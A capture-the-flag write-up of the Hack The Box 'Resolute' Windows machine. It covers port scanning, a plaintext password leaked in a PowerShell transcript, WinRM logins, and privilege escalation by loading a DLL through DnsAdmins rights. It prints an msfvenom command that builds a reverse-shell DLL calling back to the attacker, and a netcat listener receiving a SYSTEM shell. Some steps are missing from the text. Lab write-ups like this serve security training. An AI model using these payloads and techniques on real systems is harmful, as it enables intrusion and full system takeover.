Resolute just retired on Hackthebox, it’s a medium difficulty Windows box. Still being a bit new to the Windows environment the enumeration process got a bit long and tedious for me at some point but in the end I managed to see real life scenarios and access to root, or should I say SYSTEM. I would recommend this box if you are confortable on easy boxes and want to level up to a medium one.
Tl;Dr: To get the user flag you first had to enumerate users using RPC, doing so you find a default password in one user description field. This password allows you to connect to Melanie user through WinRM and get the user flag. For the root flag you first have to pivot to Ryan user using his credentials hard-coded in a Powershell script transcript. Ryan being a DNS Admin we can exploit a DLL Injection attack into the DNS service running as SYSTEM to execute a privileged reverse shell and grab the root flag.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the hosts file:
[hg8@archbook ~]$ nmap -sV -sT -sC --top-ports 10000 resolute.htb Nmap scan report for resolute.htb (10.10.10.169) PORT STATE SERVICE VERSION 53/tcp open tcpwrapped 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-05-28 13:32:03Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results: | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Resolute | NetBIOS computer name: RESOLUTE\x00 | Domain name: megabank.local |_ Forest name: megabank.local
Nmap done: 1 IP address (1 host up) scanned in 150.18 seconds
So the box is running Windows Server 2016 Standard 14393 and have several common port open that will probably come useful later like rpc, ldap or winrm. Yet we don’t have FTP, HTTP nor SSH port open so let’s continue our enumeration to grab more information about this box.
Since port 135 RPC is open we should be able to enumerate users, let’s run enum4linux to see what we can get:
*Evil-WinRM* PS C:\Users\melanie\Documents> type ..\Desktop\user.txt 0xxxxxxxxxxxxxxxxxx0
Root FLag
Recon
Looking around we notice another user account named Ryan:
1 2 3 4 5 6 7 8 9 10
*Evil-WinRM* PS C:\> dir C:\Users
Directory: C:\Users
Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 9/25/201910:43 AM Administrator d----- 12/4/20192:46 AM melanie d-r--- 11/20/20166:39 PM Public d----- 9/27/20197:05 AM ryan
We are probably going to have to pivot to his account. Let’s keep that in mind and continue our recon process.
Pivot melanie -> ryan
Digging in we found an uncommon hidden folder named PSTranscripts at the root of C:\:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
*Evil-WinRM* PS C:\> ls-Hidden
Directory: C:\
Mode LastWriteTime Length Name ---- ------------- ------ ---- d--hs- 12/3/20196:40 AM $RECYCLE.BIN d--hsl9/25/201910:17 AM Documents and Settings d--h-- 9/25/201910:48 AM ProgramData d--h-- 12/3/20196:32 AM PSTranscripts d--hs- 9/25/201910:17 AM Recovery d--hs- 9/25/20196:25 AM System Volume Information -arhs- 11/20/20165:59 PM 389408 bootmgr -a-hs- 7/16/20166:10 AM 1 BOOTNXT -a-hs- 5/28/20204:52 AM 402653184 pagefile.sys
Navigating to this folder we stumble upon a Powershell transcript text file:
*Evil-WinRM* PS C:\PSTranscripts\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
********************** Windows PowerShell transcript start Start time: 20191203063201 Username: MEGABANK\ryan RunAs User: MEGABANK\ryan Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0) Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding Process ID: 2800 PSVersion: 5.1.14393.2273 PSEdition: Desktop PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273 BuildVersion: 10.0.14393.2273 CLRVersion: 4.0.30319.42000 WSManStackVersion: 3.0 PSRemotingProtocolVersion: 2.3 SerializationVersion: 1.1.0.1 ********************** Command start time: 20191203063455 ********************** PS>TerminatingError(): "System error." >> CommandInvocation(Invoke-Expression): "Invoke-Expression" >> ParameterBinding(Invoke-Expression): name="Command"; value="-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ') if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }" >> CommandInvocation(Out-String): "Out-String" >> ParameterBinding(Out-String): name="Stream"; value="True" ********************** Command start time: 20191203063455 ********************** PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> " PS megabank\ryan@RESOLUTE Documents> ********************** Command start time: 20191203063515 ********************** PS>CommandInvocation(Invoke-Expression): "Invoke-Expression" >> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123! if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }" >> CommandInvocation(Out-String): "Out-String" >> ParameterBinding(Out-String): name="Stream"; value="True" ********************** Windows PowerShell transcript start Start time: 20191203063515 Username: MEGABANK\ryan RunAs User: MEGABANK\ryan Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0) Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding Process ID: 2800 PSVersion: 5.1.14393.2273 PSEdition: Desktop PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273 BuildVersion: 10.0.14393.2273 CLRVersion: 4.0.30319.42000 WSManStackVersion: 3.0 PSRemotingProtocolVersion: 2.3 SerializationVersion: 1.1.0.1 ********************** ********************** Command start time: 20191203063515 ********************** PS>CommandInvocation(Out-String): "Out-String" >> ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:" cmd : The syntax of this command is: At line:1 char:1 + cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123! + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError cmd : The syntax of this command is: At line:1 char:1 + cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123! + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError ********************** Windows PowerShell transcript start Start time: 20191203063515 Username: MEGABANK\ryan RunAs User: MEGABANK\ryan Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0) Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding Process ID: 2800 PSVersion: 5.1.14393.2273 PSEdition: Desktop PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273 BuildVersion: 10.0.14393.2273 CLRVersion: 4.0.30319.42000 WSManStackVersion: 3.0 PSRemotingProtocolVersion: 2.3 SerializationVersion: 1.1.0.1 **********************
Looks like we have Ryan clear text password in there:
1
cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
Let’s see if the credentials are valid:
1 2 3 4 5 6 7
[hg8@archbook ~]$ evil-winrm-i10.10.10.169-u ryan -p"Serv3r4Admin4cc123\!"
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents>
Bingo!
DNS Admin Privilege escalation
Ryan account password seems to mean he is the server admin (Serv3r4Admin4cc123!). Let’s see if it’s really the case:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
*Evil-WinRM* PS C:\> whoami /groups
GROUP INFORMATION -----------------
Group Name Type SID Attributes ========================================== ================ ============================================== =============================================================== Everyone Well-knowngroup S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-knowngroup S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-knowngroup S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-knowngroup S-1-5-15 Mandatory group, Enabled by default, Enabled group MEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group NT AUTHORITY\NTLM Authentication Well-knowngroup S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Ryan belongs to DnsAdmins group. Since DNS service is known to run as SYSTEM maybe we can abuse our DNS admin rights to escalate our privileges.
Searching this topic online we found this article:
Abusing DNSAdmins privilege for escalation in Active Directory
This post details a feature abuse in AD where a user who is member of the DNSAdmins group or have write privileges to a DNS server object can load an arbitrary DLL with SYSTEM privileges on the DNS server.
The article mention that this attack will corrupts dns.exe service. It shouldn’t be a issue for other people working on the box since we found this note on Ryan desktop:
1 2 3 4
*Evil-WinRM* PS C:\Users\ryan\Desktop> type note.txt Email to team:
- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
Alright sounds like what we have all we need. Let’s give it a try.
First let’s create our malicious DLL, this one will open a reverse shell:
1 2 3 4 5 6
[hg8@archbook ~]$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=8585 -f dll > hg8.dll [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 460 bytes Final size of dll file: 5120 bytes
Then we host this DLL on a Samba server we control:
And after a little wait a new connection appear on our reverse shell:
1 2 3 4 5 6 7 8 9 10 11
[hg8@archbook ~]$ nc -l -vv -p 8585 Listening on any address 8585 Connection from 10.10.10.169:50247 Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved.